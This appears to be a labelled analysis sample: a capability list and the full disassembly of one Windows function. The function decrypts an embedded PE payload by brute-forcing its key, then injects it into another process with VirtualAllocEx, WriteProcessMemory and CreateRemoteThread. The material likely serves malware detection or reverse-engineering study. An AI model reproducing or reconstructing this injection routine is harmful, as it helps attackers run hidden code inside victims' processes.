Function at 0x1400018ae
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xd0
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x3c], 1
mov qword [rbp - 0x48], 0xffffffffffffffff
mov qword [rbp - 8], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x5c], 0
mov dword [rbp - 0x1c], 0x1c3e
mov dword [rbp - 0x60], 0x7ffffff8
mov dword [rbp - 0x20], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x30], 0
mov dword [rbp - 0x34], 0
jmp 0x140001952
mov eax, dword [rbp - 0x34]
cdqe
lea rdx, section..data
movzx eax, byte [rax + rdx]
movzx edx, al
mov eax, dword [rbp - 0x34]
shl eax, 3
mov ecx, eax
shl rdx, cl
mov rax, rdx
or qword [rbp - 0x30], rax
add dword [rbp - 0x34], 1
mov eax, dword [rbp - 0x34]
cmp eax, 7
jbe 0x140001929
lea rax, [0x140009008]
mov qword [rbp - 0x68], rax
mov r8d, dword [rbp - 0x3c]
mov ecx, dword [rbp - 0x1c]
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x68]
mov r9d, r8d
mov r8d, ecx
mov rcx, rax
call sym.decrypt_data
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
movzx eax, byte [rax]
cmp al, 0x4d
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 1
movzx eax, byte [rax]
cmp al, 0x5a
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 2
movzx eax, byte [rax]
cmp al, 0x90
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 3
movzx eax, byte [rax]
test al, al
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 4
movzx eax, byte [rax]
cmp al, 3
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 5
movzx eax, byte [rax]
test al, al
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 6
movzx eax, byte [rax]
test al, al
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 7
movzx eax, byte [rax]
test al, al
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 8
movzx eax, byte [rax]
cmp al, 4
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 9
movzx eax, byte [rax]
test al, al
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 0xa
movzx eax, byte [rax]
test al, al
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 0xb
movzx eax, byte [rax]
test al, al
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 0xc
movzx eax, byte [rax]
cmp al, 0xff
jne 0x140001a68
mov rax, qword [rbp - 0x70]
add rax, 0xd
movzx eax, byte [rax]
cmp al, 0xff
je 0x140001a7d
add dword [rbp - 0x1c], 1
mov rax, qword [rbp - 0x70]
mov rcx, rax
call sym.free
jmp 0x140001b15
mov rax, qword [rbp - 0x70]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140001abf
mov rax, qword [rbp - 0x70]
mov rcx, rax
call sym.free
lea rax, str.error
mov rcx, rax
call sym.printf
mov ecx, 1
call sym.exit
mov rax, qword [rbp - 0x58]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx eax, ax
lea rdx, [rax + 0x18]
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x18]
cmp ax, 0x20b
je 0x140001b0e
add dword [rbp - 0x1c], 1
mov rax, qword [rbp - 0x70]
mov rcx, rax
call sym.free
jmp 0x140001b15
mov dword [rbp - 0x20], 1
cmp dword [rbp - 0x20], 0
jne 0x140001b27
mov eax, dword [rbp - 0x1c]
cmp eax, dword [rbp - 0x60]
jle 0x140001965
cmp dword [rbp - 0x20], 0
jne 0x140001b46
lea rax, str.error
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001e56
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.find_process_and_get_handle
mov qword [rbp - 0x48], rax
cmp qword [rbp - 0x48], 0
jne 0x140001b81
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._lu_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001e56
mov dword [rbp - 0x78], 0
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001c2d
mov dword [rbp - 0x78], 1
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x50]
mov edx, eax
mov rax, qword [rbp - 0x48]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001c2d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._lu_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001e56
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp - 0x38], 0
jmp 0x140001cba
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp - 0x28]
lea rcx, [rdx + rax]
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 8]
add rdx, rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
add qword [rbp - 0x10], 0x28
add dword [rbp - 0x38], 1
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0x38], eax
jl 0x140001c67
mov rdx, qword [sym.end_of_injectable_code]
mov rax, qword [sym.start_of_injectable_code]
sub rdx, rax
mov dword [rbp - 0x5c], edx
mov rax, qword [rbp - 8]
mov qword [rbp - 0x80], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x90], rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp - 0x88], rax
mov eax, dword [rbp - 0x5c]
lea rdx, [rax + 0x20]
mov rax, qword [rbp - 0x48]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x50], rax
cmp qword [rbp - 0x50], 0
jne 0x140001d7e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._lu_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x48]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov eax, 1
jmp 0x140001e56
lea rcx, [rbp - 0x90]
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], 0
mov r9d, 0x20
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov ecx, dword [rbp - 0x5c]
mov rax, qword [rbp - 0x50]
lea rdx, [rax + 0x20]
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, qword [sym.realign_pe]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp - 0x50]
add rax, 0x20
mov rcx, rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
test rax, rax
jne 0x140001e42
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._lu_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001e56
lea rax, str.Success
mov rcx, rax
call sym.printf
mov eax, 0
add rsp, 0xd0
pop rbp
ret